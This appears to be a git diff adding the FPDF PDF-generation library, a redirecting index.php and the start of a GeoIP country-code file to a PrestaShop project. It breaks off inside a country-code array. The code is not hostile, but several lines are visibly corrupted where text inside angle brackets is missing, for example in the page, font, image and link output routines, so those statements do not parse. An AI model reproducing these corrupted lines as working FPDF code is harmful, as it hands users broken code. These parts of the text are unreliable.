+ } + $sep=-1; + $i=0; + $j=0; + $l=0; + $ns=0; + $nl=1; + while($i<$nb) + { + //Get next character + $c=$s[$i]; + if($c=="\n") + { + //Explicit line break + if($this->ws>0) + { + $this->ws=0; + $this->_out('0 Tw'); + } + $this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill); + $i++; + $sep=-1; + $j=$i; + $l=0; + $ns=0; + $nl++; + if($border && $nl==2) + $b=$b2; + continue; + } + if($c==' ') + { + $sep=$i; + $ls=$l; + $ns++; + } + $l+=$cw[$c]; + if($l>$wmax) + { + //Automatic line break + if($sep==-1) + { + if($i==$j) + $i++; + if($this->ws>0) + { + $this->ws=0; + $this->_out('0 Tw'); + } + $this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill); + } + else + { + if($align=='J') + { + $this->ws=($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0; + $this->_out(sprintf('%.3F Tw',$this->ws*$this->k)); + } + $this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill); + $i=$sep+1; + } + $sep=-1; + $j=$i; + $l=0; + $ns=0; + $nl++; + if($border && $nl==2) + $b=$b2; + } + else + $i++; + } + //Last chunk + if($this->ws>0) + { + $this->ws=0; + $this->_out('0 Tw'); + } + if($border && strpos($border,'B')!==false) + $b.='B'; + $this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill); + $this->x=$this->lMargin; +} + +function Write($h, $txt, $link='') +{ + //Output text in flowing mode + $cw=&$this->CurrentFont['cw']; + $w=$this->w-$this->rMargin-$this->x; + $wmax=($w-2*$this->cMargin)*1000/$this->FontSize; + $s=str_replace("\r",'',$txt); + $nb=strlen($s); + $sep=-1; + $i=0; + $j=0; + $l=0; + $nl=1; + while($i<$nb) + { + //Get next character + $c=$s[$i]; + if($c=="\n") + { + //Explicit line break + $this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link); + $i++; + $sep=-1; + $j=$i; + $l=0; + if($nl==1) + { + $this->x=$this->lMargin; + $w=$this->w-$this->rMargin-$this->x; + $wmax=($w-2*$this->cMargin)*1000/$this->FontSize; + } + $nl++; + continue; + } + if($c==' ') + $sep=$i; + $l+=$cw[$c]; + if($l>$wmax) + { + //Automatic line break + if($sep==-1) + { + if($this->x>$this->lMargin) + { + //Move to next line + $this->x=$this->lMargin; + $this->y+=$h; + $w=$this->w-$this->rMargin-$this->x; + $wmax=($w-2*$this->cMargin)*1000/$this->FontSize; + $i++; + $nl++; + continue; + } + if($i==$j) + $i++; + $this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link); + } + else + { + $this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link); + $i=$sep+1; + } + $sep=-1; + $j=$i; + $l=0; + if($nl==1) + { + $this->x=$this->lMargin; + $w=$this->w-$this->rMargin-$this->x; + $wmax=($w-2*$this->cMargin)*1000/$this->FontSize; + } + $nl++; + } + else + $i++; + } + //Last chunk + if($i!=$j) + $this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',0,$link); +} + +function Ln($h=null) +{ + //Line feed; default value is last cell height + $this->x=$this->lMargin; + if($h===null) + $this->y+=$this->lasth; + else + $this->y+=$h; +} + +function Image($file, $x=null, $y=null, $w=0, $h=0, $type='', $link='') +{ + //Put an image on the page + if(!isset($this->images[$file])) + { + //First use of this image, get info + if($type=='') + { + $pos=strrpos($file,'.'); + if(!$pos) + $this->Error('Image file has no extension and no type was specified: '.$file); + $type=substr($file,$pos+1); + } + $type=strtolower($type); + if($type=='jpeg') + $type='jpg'; + $mtd='_parse'.$type; + if(!method_exists($this,$mtd)) + $this->Error('Unsupported image type: '.$type); + $info=$this->$mtd($file); + $info['i']=count($this->images)+1; + $this->images[$file]=$info; + } + else + $info=$this->images[$file]; + //Automatic width and height calculation if needed + if($w==0 && $h==0) + { + //Put image at 72 dpi + $w=$info['w']/$this->k; + $h=$info['h']/$this->k; + } + elseif($w==0) + $w=$h*$info['w']/$info['h']; + elseif($h==0) + $h=$w*$info['h']/$info['w']; + //Flowing mode + if($y===null) + { + if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak()) + { + //Automatic page break + $x2=$this->x; + $this->AddPage($this->CurOrientation,$this->CurPageFormat); + $this->x=$x2; + } + $y=$this->y; + $this->y+=$h; + } + if($x===null) + $x=$this->x; + $this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i'])); + if($link) + $this->Link($x,$y,$w,$h,$link); +} + +function GetX() +{ + //Get x position + return $this->x; +} + +function SetX($x) +{ + //Set x position + if($x>=0) + $this->x=$x; + else + $this->x=$this->w+$x; +} + +function GetY() +{ + //Get y position + return $this->y; +} + +function SetY($y) +{ + //Set y position and reset x + $this->x=$this->lMargin; + if($y>=0) + $this->y=$y; + else + $this->y=$this->h+$y; +} + +function SetXY($x, $y) +{ + //Set x and y positions + $this->SetY($y); + $this->SetX($x); +} + +function Output($name='', $dest='') +{ + //Output PDF to some destination + if($this->state<3) + $this->Close(); + $dest=strtoupper($dest); + if($dest=='') + { + if($name=='') + { + $name='doc.pdf'; + $dest='I'; + } + else + $dest='F'; + } + switch($dest) + { + case 'I': + //Send to standard output + if(ob_get_length()) + $this->Error('Some data has already been output, can\'t send PDF file'); + if(php_sapi_name()!='cli') + { + //We send to a browser + header('Content-Type: application/pdf'); + if(headers_sent()) + $this->Error('Some data has already been output, can\'t send PDF file'); + header('Content-Length: '.strlen($this->buffer)); + header('Content-Disposition: inline; filename="'.$name.'"'); + header('Cache-Control: private, max-age=0, must-revalidate'); + header('Pragma: public'); + ini_set('zlib.output_compression','0'); + } + echo $this->buffer; + break; + case 'D': + //Download file + if(ob_get_length()) + $this->Error('Some data has already been output, can\'t send PDF file'); + header('Content-Type: application/x-download'); + if(headers_sent()) + $this->Error('Some data has already been output, can\'t send PDF file'); + header('Content-Length: '.strlen($this->buffer)); + header('Content-Disposition: attachment; filename="'.$name.'"'); + header('Cache-Control: private, max-age=0, must-revalidate'); + header('Pragma: public'); + ini_set('zlib.output_compression','0'); + echo $this->buffer; + break; + case 'F': + //Save to local file + $f=fopen($name,'wb'); + if(!$f) + $this->Error('Unable to create output file: '.$name); + fwrite($f,$this->buffer,strlen($this->buffer)); + fclose($f); + break; + case 'S': + //Return as a string + return $this->buffer; + default: + $this->Error('Incorrect output destination: '.$dest); + } + return ''; +} + +/******************************************************************************* +* * +* Protected methods * +* * +*******************************************************************************/ +function _dochecks() +{ + //Check availability of %F + if(sprintf('%.1F',1.0)!='1.0') + $this->Error('This version of PHP is not supported'); + //Check mbstring overloading + if(ini_get('mbstring.func_overload') & 2) + $this->Error('mbstring overloading must be disabled'); +} + +function _getpageformat($format) +{ + $format=strtolower($format); + if(!isset($this->PageFormats[$format])) + $this->Error('Unknown page format: '.$format); + $a=$this->PageFormats[$format]; + return array($a[0]/$this->k, $a[1]/$this->k); +} + +function _getfontpath() +{ + if(!defined('FPDF_FONTPATH') && is_dir(dirname(__FILE__).'/font')) + define('FPDF_FONTPATH',dirname(__FILE__).'/font/'); + return defined('FPDF_FONTPATH') ? FPDF_FONTPATH : ''; +} + +function _beginpage($orientation, $format) +{ + $this->page++; + $this->pages[$this->page]=''; + $this->state=2; + $this->x=$this->lMargin; + $this->y=$this->tMargin; + $this->FontFamily=''; + //Check page size + if($orientation=='') + $orientation=$this->DefOrientation; + else + $orientation=strtoupper($orientation[0]); + if($format=='') + $format=$this->DefPageFormat; + else + { + if(is_string($format)) + $format=$this->_getpageformat($format); + } + if($orientation!=$this->CurOrientation || $format[0]!=$this->CurPageFormat[0] || $format[1]!=$this->CurPageFormat[1]) + { + //New size + if($orientation=='P') + { + $this->w=$format[0]; + $this->h=$format[1]; + } + else + { + $this->w=$format[1]; + $this->h=$format[0]; + } + $this->wPt=$this->w*$this->k; + $this->hPt=$this->h*$this->k; + $this->PageBreakTrigger=$this->h-$this->bMargin; + $this->CurOrientation=$orientation; + $this->CurPageFormat=$format; + } + if($orientation!=$this->DefOrientation || $format[0]!=$this->DefPageFormat[0] || $format[1]!=$this->DefPageFormat[1]) + $this->PageSizes[$this->page]=array($this->wPt, $this->hPt); +} + +function _endpage() +{ + $this->state=1; +} + +function _escape($s) +{ + //Escape special characters in strings + $s=str_replace('\\','\\\\',$s); + $s=str_replace('(','\\(',$s); + $s=str_replace(')','\\)',$s); + $s=str_replace("\r",'\\r',$s); + return $s; +} + +function _textstring($s) +{ + //Format a text string + return '('.$this->_escape($s).')'; +} + +function _UTF8toUTF16($s) +{ + //Convert UTF-8 to UTF-16BE with BOM + $res="\xFE\xFF"; + $nb=strlen($s); + $i=0; + while($i<$nb) + { + $c1=ord($s[$i++]); + if($c1>=224) + { + //3-byte character + $c2=ord($s[$i++]); + $c3=ord($s[$i++]); + $res.=chr((($c1 & 0x0F)<<4) + (($c2 & 0x3C)>>2)); + $res.=chr((($c2 & 0x03)<<6) + ($c3 & 0x3F)); + } + elseif($c1>=192) + { + //2-byte character + $c2=ord($s[$i++]); + $res.=chr(($c1 & 0x1C)>>2); + $res.=chr((($c1 & 0x03)<<6) + ($c2 & 0x3F)); + } + else + { + //Single-byte character + $res.="\0".chr($c1); + } + } + return $res; +} + +function _dounderline($x, $y, $txt) +{ + //Underline text + $up=$this->CurrentFont['up']; + $ut=$this->CurrentFont['ut']; + $w=$this->GetStringWidth($txt)+$this->ws*substr_count($txt,' '); + return sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt); +} + +function _parsejpg($file) +{ + //Extract info from a JPEG file + $a=GetImageSize($file); + if(!$a) + $this->Error('Missing or incorrect image file: '.$file); + if($a[2]!=2) + $this->Error('Not a JPEG file: '.$file); + if(!isset($a['channels']) || $a['channels']==3) + $colspace='DeviceRGB'; + elseif($a['channels']==4) + $colspace='DeviceCMYK'; + else + $colspace='DeviceGray'; + $bpc=isset($a['bits']) ? $a['bits'] : 8; + //Read whole file + $f=fopen($file,'rb'); + $data=''; + while(!feof($f)) + $data.=fread($f,8192); + fclose($f); + return array('w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'DCTDecode', 'data'=>$data); +} + +function _parsepng($file) +{ + //Extract info from a PNG file + $f=fopen($file,'rb'); + if(!$f) + $this->Error('Can\'t open image file: '.$file); + //Check signature + if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10)) + $this->Error('Not a PNG file: '.$file); + //Read header chunk + $this->_readstream($f,4); + if($this->_readstream($f,4)!='IHDR') + $this->Error('Incorrect PNG file: '.$file); + $w=$this->_readint($f); + $h=$this->_readint($f); + $bpc=ord($this->_readstream($f,1)); + if($bpc>8) + $this->Error('16-bit depth not supported: '.$file); + $ct=ord($this->_readstream($f,1)); + if($ct==0) + $colspace='DeviceGray'; + elseif($ct==2) + $colspace='DeviceRGB'; + elseif($ct==3) + $colspace='Indexed'; + else + $this->Error('Alpha channel not supported: '.$file); + if(ord($this->_readstream($f,1))!=0) + $this->Error('Unknown compression method: '.$file); + if(ord($this->_readstream($f,1))!=0) + $this->Error('Unknown filter method: '.$file); + if(ord($this->_readstream($f,1))!=0) + $this->Error('Interlacing not supported: '.$file); + $this->_readstream($f,4); + $parms='/DecodeParms <>'; + //Scan chunks looking for palette, transparency and image data + $pal=''; + $trns=''; + $data=''; + do + { + $n=$this->_readint($f); + $type=$this->_readstream($f,4); + if($type=='PLTE') + { + //Read palette + $pal=$this->_readstream($f,$n); + $this->_readstream($f,4); + } + elseif($type=='tRNS') + { + //Read transparency info + $t=$this->_readstream($f,$n); + if($ct==0) + $trns=array(ord(substr($t,1,1))); + elseif($ct==2) + $trns=array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1))); + else + { + $pos=strpos($t,chr(0)); + if($pos!==false) + $trns=array($pos); + } + $this->_readstream($f,4); + } + elseif($type=='IDAT') + { + //Read image data block + $data.=$this->_readstream($f,$n); + $this->_readstream($f,4); + } + elseif($type=='IEND') + break; + else + $this->_readstream($f,$n+4); + } + while($n); + if($colspace=='Indexed' && empty($pal)) + $this->Error('Missing palette in '.$file); + fclose($f); + return array('w'=>$w, 'h'=>$h, 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'FlateDecode', 'parms'=>$parms, 'pal'=>$pal, 'trns'=>$trns, 'data'=>$data); +} + +function _readstream($f, $n) +{ + //Read n bytes from stream + $res=''; + while($n>0 && !feof($f)) + { + $s=fread($f,$n); + if($s===false) + $this->Error('Error while reading stream'); + $n-=strlen($s); + $res.=$s; + } + if($n>0) + $this->Error('Unexpected end of stream'); + return $res; +} + +function _readint($f) +{ + //Read a 4-byte integer from stream + $a=unpack('Ni',$this->_readstream($f,4)); + return $a['i']; +} + +function _parsegif($file) +{ + //Extract info from a GIF file (via PNG conversion) + if(!function_exists('imagepng')) + $this->Error('GD extension is required for GIF support'); + if(!function_exists('imagecreatefromgif')) + $this->Error('GD has no GIF read support'); + $im=imagecreatefromgif($file); + if(!$im) + $this->Error('Missing or incorrect image file: '.$file); + imageinterlace($im,0); + $tmp=tempnam('.','gif'); + if(!$tmp) + $this->Error('Unable to create a temporary file'); + if(!imagepng($im,$tmp)) + $this->Error('Error while saving to temporary file'); + imagedestroy($im); + $info=$this->_parsepng($tmp); + unlink($tmp); + return $info; +} + +function _newobj() +{ + //Begin a new object + $this->n++; + $this->offsets[$this->n]=strlen($this->buffer); + $this->_out($this->n.' 0 obj'); +} + +function _putstream($s) +{ + $this->_out('stream'); + $this->_out($s); + $this->_out('endstream'); +} + +function _out($s) +{ + //Add a line to the document + if($this->state==2) + $this->pages[$this->page].=$s."\n"; + else + $this->buffer.=$s."\n"; +} + +function _putpages() +{ + $nb=$this->page; + if(!empty($this->AliasNbPages)) + { + //Replace number of pages + for($n=1;$n<=$nb;$n++) + $this->pages[$n]=str_replace($this->AliasNbPages,$nb,$this->pages[$n]); + } + if($this->DefOrientation=='P') + { + $wPt=$this->DefPageFormat[0]*$this->k; + $hPt=$this->DefPageFormat[1]*$this->k; + } + else + { + $wPt=$this->DefPageFormat[1]*$this->k; + $hPt=$this->DefPageFormat[0]*$this->k; + } + $filter=($this->compress) ? '/Filter /FlateDecode ' : ''; + for($n=1;$n<=$nb;$n++) + { + //Page + $this->_newobj(); + $this->_out('<_out('/Parent 1 0 R'); + if(isset($this->PageSizes[$n])) + $this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageSizes[$n][0],$this->PageSizes[$n][1])); + $this->_out('/Resources 2 0 R'); + if(isset($this->PageLinks[$n])) + { + //Links + $annots='/Annots ['; + foreach($this->PageLinks[$n] as $pl) + { + $rect=sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]); + $annots.='<_textstring($pl[4]).'>>>>'; + else + { + $l=$this->links[$pl[4]]; + $h=isset($this->PageSizes[$l[0]]) ? $this->PageSizes[$l[0]][1] : $hPt; + $annots.=sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',1+2*$l[0],$h-$l[1]*$this->k); + } + } + $this->_out($annots.']'); + } + $this->_out('/Contents '.($this->n+1).' 0 R>>'); + $this->_out('endobj'); + //Page content + $p=($this->compress) ? gzcompress($this->pages[$n]) : $this->pages[$n]; + $this->_newobj(); + $this->_out('<<'.$filter.'/Length '.strlen($p).'>>'); + $this->_putstream($p); + $this->_out('endobj'); + } + //Pages root + $this->offsets[1]=strlen($this->buffer); + $this->_out('1 0 obj'); + $this->_out('<_out($kids.']'); + $this->_out('/Count '.$nb); + $this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$wPt,$hPt)); + $this->_out('>>'); + $this->_out('endobj'); +} + +function _putfonts() +{ + $nf=$this->n; + foreach($this->diffs as $diff) + { + //Encodings + $this->_newobj(); + $this->_out('<>'); + $this->_out('endobj'); + } + foreach($this->FontFiles as $file=>$info) + { + //Font file embedding + $this->_newobj(); + $this->FontFiles[$file]['n']=$this->n; + $font=''; + $f=fopen($this->_getfontpath().$file,'rb',1); + if(!$f) + $this->Error('Font file not found'); + while(!feof($f)) + $font.=fread($f,8192); + fclose($f); + $compressed=(substr($file,-2)=='.z'); + if(!$compressed && isset($info['length2'])) + { + $header=(ord($font[0])==128); + if($header) + { + //Strip first binary header + $font=substr($font,6); + } + if($header && ord($font[$info['length1']])==128) + { + //Strip second binary header + $font=substr($font,0,$info['length1']).substr($font,$info['length1']+6); + } + } + $this->_out('<_out('/Filter /FlateDecode'); + $this->_out('/Length1 '.$info['length1']); + if(isset($info['length2'])) + $this->_out('/Length2 '.$info['length2'].' /Length3 0'); + $this->_out('>>'); + $this->_putstream($font); + $this->_out('endobj'); + } + foreach($this->fonts as $k=>$font) + { + //Font objects + $this->fonts[$k]['n']=$this->n+1; + $type=$font['type']; + $name=$font['name']; + if($type=='core') + { + //Standard font + $this->_newobj(); + $this->_out('<_out('/BaseFont /'.$name); + $this->_out('/Subtype /Type1'); + if($name!='Symbol' && $name!='ZapfDingbats') + $this->_out('/Encoding /WinAnsiEncoding'); + $this->_out('>>'); + $this->_out('endobj'); + } + elseif($type=='Type1' || $type=='TrueType') + { + //Additional Type1 or TrueType font + $this->_newobj(); + $this->_out('<_out('/BaseFont /'.$name); + $this->_out('/Subtype /'.$type); + $this->_out('/FirstChar 32 /LastChar 255'); + $this->_out('/Widths '.($this->n+1).' 0 R'); + $this->_out('/FontDescriptor '.($this->n+2).' 0 R'); + if($font['enc']) + { + if(isset($font['diff'])) + $this->_out('/Encoding '.($nf+$font['diff']).' 0 R'); + else + $this->_out('/Encoding /WinAnsiEncoding'); + } + $this->_out('>>'); + $this->_out('endobj'); + //Widths + $this->_newobj(); + $cw=&$font['cw']; + $s='['; + for($i=32;$i<=255;$i++) + $s.=$cw[chr($i)].' '; + $this->_out($s.']'); + $this->_out('endobj'); + //Descriptor + $this->_newobj(); + $s='<$v) + $s.=' /'.$k.' '.$v; + $file=$font['file']; + if($file) + $s.=' /FontFile'.($type=='Type1' ? '' : '2').' '.$this->FontFiles[$file]['n'].' 0 R'; + $this->_out($s.'>>'); + $this->_out('endobj'); + } + else + { + //Allow for additional types + $mtd='_put'.strtolower($type); + if(!method_exists($this,$mtd)) + $this->Error('Unsupported font type: '.$type); + $this->$mtd($font); + } + } +} + +function _putimages() +{ + $filter=($this->compress) ? '/Filter /FlateDecode ' : ''; + reset($this->images); + while(list($file,$info)=each($this->images)) + { + $this->_newobj(); + $this->images[$file]['n']=$this->n; + $this->_out('<_out('/Subtype /Image'); + $this->_out('/Width '.$info['w']); + $this->_out('/Height '.$info['h']); + if($info['cs']=='Indexed') + $this->_out('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]'); + else + { + $this->_out('/ColorSpace /'.$info['cs']); + if($info['cs']=='DeviceCMYK') + $this->_out('/Decode [1 0 1 0 1 0 1 0]'); + } + $this->_out('/BitsPerComponent '.$info['bpc']); + if(isset($info['f'])) + $this->_out('/Filter /'.$info['f']); + if(isset($info['parms'])) + $this->_out($info['parms']); + if(isset($info['trns']) && is_array($info['trns'])) + { + $trns=''; + for($i=0;$i_out('/Mask ['.$trns.']'); + } + $this->_out('/Length '.strlen($info['data']).'>>'); + $this->_putstream($info['data']); + unset($this->images[$file]['data']); + $this->_out('endobj'); + //Palette + if($info['cs']=='Indexed') + { + $this->_newobj(); + $pal=($this->compress) ? gzcompress($info['pal']) : $info['pal']; + $this->_out('<<'.$filter.'/Length '.strlen($pal).'>>'); + $this->_putstream($pal); + $this->_out('endobj'); + } + } +} + +function _putxobjectdict() +{ + foreach($this->images as $image) + $this->_out('/I'.$image['i'].' '.$image['n'].' 0 R'); +} + +function _putresourcedict() +{ + $this->_out('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]'); + $this->_out('/Font <<'); + foreach($this->fonts as $font) + $this->_out('/F'.$font['i'].' '.$font['n'].' 0 R'); + $this->_out('>>'); + $this->_out('/XObject <<'); + $this->_putxobjectdict(); + $this->_out('>>'); +} + +function _putresources() +{ + $this->_putfonts(); + $this->_putimages(); + //Resource dictionary + $this->offsets[2]=strlen($this->buffer); + $this->_out('2 0 obj'); + $this->_out('<<'); + $this->_putresourcedict(); + $this->_out('>>'); + $this->_out('endobj'); +} + +function _putinfo() +{ + $this->_out('/Producer '.$this->_textstring('FPDF '.FPDF_VERSION)); + if(!empty($this->title)) + $this->_out('/Title '.$this->_textstring($this->title)); + if(!empty($this->subject)) + $this->_out('/Subject '.$this->_textstring($this->subject)); + if(!empty($this->author)) + $this->_out('/Author '.$this->_textstring($this->author)); + if(!empty($this->keywords)) + $this->_out('/Keywords '.$this->_textstring($this->keywords)); + if(!empty($this->creator)) + $this->_out('/Creator '.$this->_textstring($this->creator)); + $this->_out('/CreationDate '.$this->_textstring('D:'.@date('YmdHis'))); +} + +function _putcatalog() +{ + $this->_out('/Type /Catalog'); + $this->_out('/Pages 1 0 R'); + if($this->ZoomMode=='fullpage') + $this->_out('/OpenAction [3 0 R /Fit]'); + elseif($this->ZoomMode=='fullwidth') + $this->_out('/OpenAction [3 0 R /FitH null]'); + elseif($this->ZoomMode=='real') + $this->_out('/OpenAction [3 0 R /XYZ null null 1]'); + elseif(!is_string($this->ZoomMode)) + $this->_out('/OpenAction [3 0 R /XYZ null null '.($this->ZoomMode/100).']'); + if($this->LayoutMode=='single') + $this->_out('/PageLayout /SinglePage'); + elseif($this->LayoutMode=='continuous') + $this->_out('/PageLayout /OneColumn'); + elseif($this->LayoutMode=='two') + $this->_out('/PageLayout /TwoColumnLeft'); +} + +function _putheader() +{ + $this->_out('%PDF-'.$this->PDFVersion); +} + +function _puttrailer() +{ + $this->_out('/Size '.($this->n+1)); + $this->_out('/Root '.$this->n.' 0 R'); + $this->_out('/Info '.($this->n-1).' 0 R'); +} + +function _enddoc() +{ + $this->_putheader(); + $this->_putpages(); + $this->_putresources(); + //Info + $this->_newobj(); + $this->_out('<<'); + $this->_putinfo(); + $this->_out('>>'); + $this->_out('endobj'); + //Catalog + $this->_newobj(); + $this->_out('<<'); + $this->_putcatalog(); + $this->_out('>>'); + $this->_out('endobj'); + //Cross-ref + $o=strlen($this->buffer); + $this->_out('xref'); + $this->_out('0 '.($this->n+1)); + $this->_out('0000000000 65535 f '); + for($i=1;$i<=$this->n;$i++) + $this->_out(sprintf('%010d 00000 n ',$this->offsets[$i])); + //Trailer + $this->_out('trailer'); + $this->_out('<<'); + $this->_puttrailer(); + $this->_out('>>'); + $this->_out('startxref'); + $this->_out($o); + $this->_out('%%EOF'); + $this->state=3; +} +//End of class +} + +//Handle special IE contype request +if(isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT']=='contype') +{ + header('Content-Type: application/pdf'); + exit; +} + +?> diff --git a/tools/fpdf/index.php b/tools/fpdf/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/fpdf/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/geoip/geoip.inc b/tools/geoip/geoip.inc new file mode 100755 index 0000000..d2aea2e --- /dev/null +++ b/tools/geoip/geoip.inc @@ -0,0 +1,820 @@ + 0, "AP" => 1, "EU" => 2, "AD" => 3, "AE" => 4, "AF" => 5, +"AG" => 6, "AI" => 7, "AL" => 8, "AM" => 9, "CW" => 10, "AO" => 11, +"AQ" => 12, "AR" => 13, "AS" => 14, "AT" => 15, "AU" => 16, "AW" => 17, +"AZ" => 18, "BA" => 19, "BB" => 20, "BD" => 21, "BE" => 22, "BF" => 23, +"BG" => 24, "BH" => 25, "BI" => 26, "BJ" => 27, "BM" => 28, "BN" => 29, +"BO" => 30, "BR" => 31, "BS" => 32, "BT" => 33, "BV" => 34, "BW" => 35, +"BY" => 36, "BZ" => 37, "CA" => 38, "CC" => 39, "CD" => 40, "CF" => 41, +"CG" => 42, "CH" => 43, "CI" => 44, "CK" => 45, "CL" => 46, "CM" => 47, +"CN" => 48, "CO" => 49, "CR" => 50, "CU" => 51, "CV" => 52, "CX" => 53, +"CY" => 54, "CZ" => 55, "DE" => 56, "DJ" => 57, "DK" => 58, "DM" => 59, +"DO" => 60, "DZ" => 61, "EC" => 62, "EE" => 63, "EG" => 64, "EH" => 65, +"ER" => 66, "ES" => 67, "ET" => 68, "FI" => 69, "FJ" => 70, "FK" => 71, +"FM" => 72, "FO" => 73, "FR" => 74, "SX" => 75, "GA" => 76, "GB" => 77, +"GD" => 78, "GE" => 79, "GF" => 80, "GH" => 81, "GI" => 82, "GL" => 83, +"GM" => 84, "GN" => 85, "GP" => 86, "GQ" => 87, "GR" => 88, "GS" => 89, +"GT" => 90, "GU" => 91, "GW" => 92, "GY" => 93, "HK" => 94, "HM" => 95, +"HN" => 96, "HR" => 97, "HT" => 98, "HU" => 99, "ID" => 100, "IE" => 101, +"IL" => 102, "IN" => 103, "IO" => 104, "IQ" => 105, "IR" => 106, "IS" => 107, +"IT" => 108, "JM" => 109, "JO" => 110, "JP" => 111, "KE" => 112, "KG" => 113, +"KH" => 114, "KI" => 115, "KM" => 116, "KN" => 117, "KP" => 118, "KR" => 119, +"KW" => 120, "KY" => 121, "KZ" => 122, "LA" => 123, "LB" => 124, "LC" => 125, +"LI" => 126, "LK" => 127, "LR" => 128, "LS" => 129, "LT" => 130, "LU" => 131, +"LV" => 132, "LY" => 133, "MA" => 134, "MC" => 135, "MD" => 136, "MG" => 137, +"MH" => 138, "MK" => 139, "ML" => 140, "MM" => 141, "MN" => 142, "MO" => 143, +"MP" => 144, "MQ" => 145, "MR" => 146, "MS" => 147, "MT" => 148, "MU" => 149, +"MV" => 150, "MW" => 151, "MX" => 152, "MY" => 153, "MZ" => 154, "NA" => 155, +"NC" => 156, "NE" => 157, "NF" => 158, "NG" => 159, "NI" => 160, "NL" => 161, +"NO" => 162, "NP" => 163, "NR" => 164, "NU" => 165, "NZ" => 166, "OM" => 167, +"PA" => 168, "PE" => 169, "PF" => 170, "PG" => 171, "PH" => 172, "PK" => 173, +"PL" => 174, "PM" => 175, "PN" => 176, "PR" => 177, "PS" => 178, "PT" => 179, +"PW" => 180, "PY" => 181, "QA" => 182, "RE" => 183, "RO" => 184, "RU" => 185, +"RW" => 186, "SA" => 187, "SB" => 188, "SC" => 189, "SD" => 190, "SE" => 191, +"SG" => 192, "SH" => 193, "SI" => 194, "SJ" => 195, "SK" => 196, "SL" => 197, +"SM" => 198, "SN" => 199, "SO" => 200, "SR" => 201, "ST" => 202, "SV" => 203, +"SY" => 204, "SZ" => 205, "TC" => 206, "TD" => 207, "TF" => 208, "TG" => 209, +"TH" => 210, "TJ" => 211, "TK" => 212, "TM" => 213, "TN" => 214, "TO" => 215, +"TL" => 216, "TR" => 217, "TT" => 218, "TV" => 219, "TW" => 220, "TZ" => 221, +"UA" => 222, "UG" => 223, "UM" => 224, "US" => 225, "UY" => 226, "UZ" => 227, +"VA" => 228, "VC" => 229, "VE" => 230, "VG" => 231, "VI" => 232, "VN" => 233, +"VU" => 234, "WF" => 235, "WS" => 236, "YE" => 237, "YT" => 238, "RS" => 239, +"ZA" => 240, "ZM" => 241, "ME" => 242, "ZW" => 243, "A1" => 244, "A2" => 245, +"O1" => 246, "AX" => 247, "GG" => 248, "IM" => 249, "JE" => 250, "BL" => 251, +"MF" => 252, "BQ" => 253, +); + var $GEOIP_COUNTRY_CODES = array( + "","AP","EU","AD","AE","AF","AG","AI","AL","AM","CW", + "AO","AQ","AR","AS","AT","AU","AW","AZ","BA","BB", + "BD","BE","BF","BG","BH","BI","BJ","BM","BN","BO", + "BR","BS","BT","BV","BW","BY","BZ","CA","CC","CD", + "CF","CG","CH","CI","CK","CL","CM","CN","CO","CR", + "CU","CV","CX","CY","CZ","DE","DJ","DK","DM","DO", + "DZ","EC","EE","EG","EH","ER","ES","ET","FI","FJ", + "FK","FM","FO","FR","SX","GA","GB","GD","GE","GF", + "GH","GI","GL","GM","GN","GP","GQ","GR","GS","GT", + "GU","GW","GY","HK","HM","HN","HR","HT","HU","ID", + "IE","IL","IN","IO","IQ","IR","IS","IT","JM","JO", + "JP","KE","KG","KH","KI","KM","KN","KP","KR","KW", + "KY","KZ","LA","LB","LC","LI","LK","LR","LS","LT", + "LU","LV","LY","MA","MC","MD","MG","MH","MK","ML", + "MM","MN","MO","MP","MQ","MR","MS","MT","MU","MV", + "MW","MX","MY","MZ","NA","NC","NE","NF","NG","NI", + "NL","NO","NP","NR","NU","NZ","OM","PA","PE","PF", + "PG","PH","PK","PL","PM","PN","PR","PS","PT","PW", + "PY","QA","RE","RO","RU","RW","SA","SB","SC","SD", + "SE","SG","SH","SI","SJ","SK","SL","SM","SN","SO", + "SR","ST","SV","SY","SZ","TC","TD","TF","TG","TH", + "TJ","TK","TM","TN","TO","TL","TR","TT","TV","TW", + "TZ","UA","UG","UM","US","UY","UZ","VA","VC","VE", + "VG","VI","VN","VU","WF","WS","YE","YT","RS","ZA", + 